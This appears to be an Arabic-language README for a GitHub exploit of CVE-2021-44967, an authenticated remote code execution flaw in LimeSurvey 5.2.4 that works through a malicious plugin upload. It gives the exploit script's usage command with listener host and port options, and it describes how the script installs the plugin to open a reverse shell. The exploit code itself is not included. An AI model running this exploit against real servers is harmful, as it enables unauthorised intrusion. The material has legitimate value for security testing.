monke443/cve-2021-44967تنفيذ أوامر عن بُعد (مُصدَّق وذو صلاحيات) في LimeSurvey الإصدار 5.2.4 عبر رفع وتثبيت الإضافات يتيح لمستخدم عن بُعد رفع ملف كود PHP تعسفي.
يسمح تنفيذ الأوامر عن بعد المؤكد (بصلاحيات متميزة) في LimeSurvey الإصدار 5.2.4 عبر رفع وتثبيت الإضافات لمستخدم بعيد برفع ملف كود PHP تعسفي.
python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>
يُسمح لمستخدم superadmin بتحميل وحدات الإضافات عبر لوحة إدارة LimeSurvey. يقوم البرنامج النصي بإنشاء الملفات محليًا، ثم ضغطها ورفعها. لاحقًا، يتم استدعاء تثبيت الوحدات وتفعيلها وتشغيلها، مما ينفذ الـ reverse shell.
